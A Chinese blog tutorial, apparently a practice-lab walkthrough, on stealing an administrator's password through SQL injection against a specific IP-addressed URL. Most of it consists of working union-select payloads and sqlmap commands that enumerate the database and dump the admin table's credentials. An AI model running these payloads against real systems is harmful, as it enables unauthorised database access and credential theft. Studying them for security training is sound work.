通过SQL注入拿到管理员密码

1.目标URL:http://59.63.200.79:8003/?id=1

第一步判断是否存在SQL注入漏洞。

构造 ?id=1 and 1=1 ,回车

这里 %20 代表空格的意思。

页面正常,继续构造 ?id=1 and 1=2

页面不正常,则可以推断该页面存在SQL注入漏洞。

第二步判断字段数

构造?id=1 and 1=1 order by 1 ,回车

页面正常 ,

继续构造 ?id=1 and 1=1 order by 2 ,回车

页面正常,

继续构造 ?id=1 and 1=1 order by 3 ,回车

返回的页面不正常,判断出字段数应该是2。

第三步 判断回显位置

构造 ?id=1 and 1=2 union select 1,2

返回的页面中出现了2,那么我们可以在2处得到我们想得到的内容。

第四步 查询相关内容

查询当前数据库名

构造URL: ?id=1 and 1=2 union select database() ,回车

查询当前数据库版本

构造URL:?id=1 and 1=2 union select 1,version() ,回车

查询当前数据库 表名

构造URL: ?id=1 and 1=2 union select 1,table_name from information_schema.tables
where table_schema = database() limit 0,1 ,回车

绝大多数情况下,管理员的账户密码都在admin表里面。

查询字段名

构造?id=1 and 1=2 union select 1,column_name from information_schema.columns
where table_schema=database() and table_name='admin' limit 0,1

构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns
where table_schema=database() and table_name='admin' limit 1,1

构造:?id=1 and 1=2 union select 1,column_name from information_schema.columns
where table_schema=database() and table_name='admin' limit 2,1

可以看出admin表里面一共有 id,username,password三个字段。

查询字段内容

构造 ?id=1 and 1=2 union select 1,username from admin limit 0,1

构造 ?id=1 and 1=2 union select 1,password from admin limit 0,1

至此,得到管理员的账户和密码。

不过通过手工的方式进行注入确实可以加深我们对原理的了解,不是单纯的“脚本小子”,不过在实际应用中我们可以借助工具进行快速的注入。

工具SQLMAP

1.SQLMAP

2.Python2.7

SQLMAP下载地址:http://sqlmap.org/

我这里用linux环境演示,解压后,进入文件夹内,执行 python sqlmap.py 即可。

根据目标URL:http://59.63.200.79:8003/?id=1

执行:python sqlmap.py -u http://59.63.200.79:8003/?id=1 –batch

根据返回的结果,我们可以发现存在注入点。

获取全部数据库

执行 python sqlmap.py -u http://59.63.200.79:8003/?id=1 --dbs –batch

获取当前的数据库:

执行 python sqlmap.py -u http://59.63.200.79:8003/?id=1 --current-db --batch

获取当前数据库里所有的表:

执行:python sqlmap.py -u http://59.63.200.79:8003/?id=1 -D maoshe --tables
–batch

获取表的字段:

执行:python sqlmap.py -u http://59.63.200.79:8003/?id=1 -D maoshe -T admin
--columns –batch

Dump字段内容

执行:python sqlmap.py -u http://59.63.200.79:8003/?id=1 -D maoshe -T admin
-C"password,username" --dump --batch

至此,得到管理员账户和密码。

posted @ 2020-01-03 14:58  GC_AIDM  阅读(5201)  评论(1编辑  收藏  举报